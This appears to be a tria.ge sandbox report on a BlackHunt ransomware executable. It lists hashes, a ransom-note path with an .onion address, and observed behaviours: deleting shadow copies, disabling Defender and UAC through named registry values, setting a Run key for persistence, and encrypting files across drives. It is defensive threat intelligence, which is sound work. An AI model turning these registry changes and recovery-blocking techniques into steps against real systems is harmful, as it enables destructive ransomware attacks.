Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
152s -
max time network
159s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 23:45
Static task
static1
Behavioral task
behavioral1
Sample
71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe
Resource
win10v2004-20231222-en
General
-
Target
71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe
-
Size
707KB
-
MD5
abb439196ea8611e14ee09f25bfd8b6e
-
SHA1
98edcfc0fd2808db1aa2c575de5884e563347d87
-
SHA256
71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca
-
SHA512
494b765f3e286344b2adc7942e44ff1c14309563a23b8b94541a71a2bd7c1ca9fe83daa6441c807225937b4b8ada81bace1ae322cc5589e5f2f2febce553699f
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1B84vnh:6uaTmkZJ+naie5OTamgEoKxLW0Gh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 1068 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 2980 bcdedit.exe 3000 bcdedit.exe -
Renames multiple (2128) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 2480 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\H: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\W: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\R: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\X: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\V: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\T: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\P: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\A: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\J: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\K: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\M: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Q: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\L: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\I: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\O: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\N: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\E: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\G: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\B: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\Y: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\S: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\U: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened (read-only) \??\Z: 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Asuncion 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Pangnirtung 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\epl-v10.html 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\#BlackHunt_Private.key 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\macGrey.png 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File created C:\Program Files\Java\jre7\lib\security\#BlackHunt_Private.key 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-heapdump_ja.jar 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Moncton 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Uzhgorod 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\license.html 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-jvmstat.xml 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Sao_Paulo 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\NOTICE 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Wake 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Kentucky\Louisville 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\LINEAR_RGB.pf 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\index.gif 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\#BlackHunt_ReadMe.hta 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File created C:\Program Files\Java\jre7\bin\dtplugin\#BlackHunt_ReadMe.hta 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File created C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#BlackHunt_ReadMe.hta 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Ulaanbaatar 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.update\#BlackHunt_ReadMe.hta 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.theme.nl_zh_4.4.0.v20140623020002.jar 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-compat.jar 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Chita 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\#BlackHunt_ReadMe.hta 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes.nl_ja_4.4.0.v20140623020002.jar 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-api-search.xml 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationUp_ButtonGraphic.png 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\La_Paz 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Yakutsk 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Title_Page.wmv 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\#BlackHunt_ReadMe.hta 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\#BlackHunt_Private.key 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\jfr.jar 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.jdp.zh_CN_5.5.0.165303.jar 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.bindings_0.10.200.v20140424-2042.jar 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\#BlackHunt_ReadMe.txt 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\whiteband.png 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-application.xml 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.filesystem_1.4.100.v20140514-1614.jar 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\blacklist 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File created C:\Program Files\Java\jre7\lib\zi\#BlackHunt_ReadMe.hta 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jmx_ja.jar 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\license.html 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Marengo 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\#BlackHunt_ReadMe.txt 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Kwajalein 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\New_York 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\#BlackHunt_ReadMe.hta 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File created C:\Program Files\MSBuild\#BlackHunt_ReadMe.hta 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-jmx.xml 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\#BlackHunt_ReadMe.hta 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.nl_zh_4.4.0.v20140623020002.jar 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Full\pushplaysubpicture.png 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-fallback_zh_CN.jar 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Rankin_Inlet 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\#BlackHunt_ReadMe.txt 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationLeft_SelectionSubpicture.png 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_ko_KR.jar 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Managua 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File created C:\Program Files\Java\jre7\lib\#BlackHunt_Private.key 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\splash.gif 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\1047x576black.png 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1536 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1748 vssadmin.exe 2124 vssadmin.exe 1772 vssadmin.exe 1888 vssadmin.exe 2472 vssadmin.exe -
Modifies registry class 10 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe Token: SeRestorePrivilege 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe Token: SeBackupPrivilege 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe Token: SeTakeOwnershipPrivilege 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe Token: SeAuditPrivilege 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe Token: SeSecurityPrivilege 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe Token: SeIncBasePriorityPrivilege 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe Token: SeBackupPrivilege 2916 vssvc.exe Token: SeRestorePrivilege 2916 vssvc.exe Token: SeAuditPrivilege 2916 vssvc.exe Token: SeBackupPrivilege 2212 wbengine.exe Token: SeRestorePrivilege 2212 wbengine.exe Token: SeSecurityPrivilege 2212 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1752 wrote to memory of 2272 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 29 PID 1752 wrote to memory of 2272 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 29 PID 1752 wrote to memory of 2272 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 29 PID 1752 wrote to memory of 2272 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 29 PID 1752 wrote to memory of 2824 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 30 PID 1752 wrote to memory of 2824 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 30 PID 1752 wrote to memory of 2824 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 30 PID 1752 wrote to memory of 2824 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 30 PID 1752 wrote to memory of 2856 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 33 PID 1752 wrote to memory of 2856 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 33 PID 1752 wrote to memory of 2856 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 33 PID 1752 wrote to memory of 2856 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 33 PID 1752 wrote to memory of 2736 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 35 PID 1752 wrote to memory of 2736 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 35 PID 1752 wrote to memory of 2736 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 35 PID 1752 wrote to memory of 2736 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 35 PID 1752 wrote to memory of 3028 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 36 PID 1752 wrote to memory of 3028 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 36 PID 1752 wrote to memory of 3028 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 36 PID 1752 wrote to memory of 3028 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 36 PID 1752 wrote to memory of 2696 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 40 PID 1752 wrote to memory of 2696 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 40 PID 1752 wrote to memory of 2696 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 40 PID 1752 wrote to memory of 2696 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 40 PID 2824 wrote to memory of 2164 2824 cmd.exe 41 PID 2824 wrote to memory of 2164 2824 cmd.exe 41 PID 2824 wrote to memory of 2164 2824 cmd.exe 41 PID 2272 wrote to memory of 2796 2272 cmd.exe 38 PID 2272 wrote to memory of 2796 2272 cmd.exe 38 PID 2272 wrote to memory of 2796 2272 cmd.exe 38 PID 1752 wrote to memory of 2096 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 42 PID 1752 wrote to memory of 2096 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 42 PID 1752 wrote to memory of 2096 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 42 PID 1752 wrote to memory of 2096 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 42 PID 1752 wrote to memory of 2604 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 44 PID 1752 wrote to memory of 2604 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 44 PID 1752 wrote to memory of 2604 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 44 PID 1752 wrote to memory of 2604 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 44 PID 1752 wrote to memory of 2160 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 46 PID 1752 wrote to memory of 2160 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 46 PID 1752 wrote to memory of 2160 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 46 PID 1752 wrote to memory of 2160 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 46 PID 2856 wrote to memory of 2840 2856 cmd.exe 136 PID 2856 wrote to memory of 2840 2856 cmd.exe 136 PID 2856 wrote to memory of 2840 2856 cmd.exe 136 PID 1752 wrote to memory of 1928 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 50 PID 1752 wrote to memory of 1928 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 50 PID 1752 wrote to memory of 1928 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 50 PID 1752 wrote to memory of 1928 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 50 PID 2736 wrote to memory of 2592 2736 cmd.exe 52 PID 2736 wrote to memory of 2592 2736 cmd.exe 52 PID 2736 wrote to memory of 2592 2736 cmd.exe 52 PID 1752 wrote to memory of 2608 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 53 PID 1752 wrote to memory of 2608 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 53 PID 1752 wrote to memory of 2608 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 53 PID 1752 wrote to memory of 2608 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 53 PID 1752 wrote to memory of 2644 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 54 PID 1752 wrote to memory of 2644 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 54 PID 1752 wrote to memory of 2644 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 54 PID 1752 wrote to memory of 2644 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 54 PID 1752 wrote to memory of 816 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 56 PID 1752 wrote to memory of 816 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 56 PID 1752 wrote to memory of 816 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 56 PID 1752 wrote to memory of 816 1752 71d42e0e9955f7f2729d62599a5a95288582a5e1e332a8117ad6e7c2c64000ca.exe 56 -
System policy modification 1 TTPs 3 IoCs
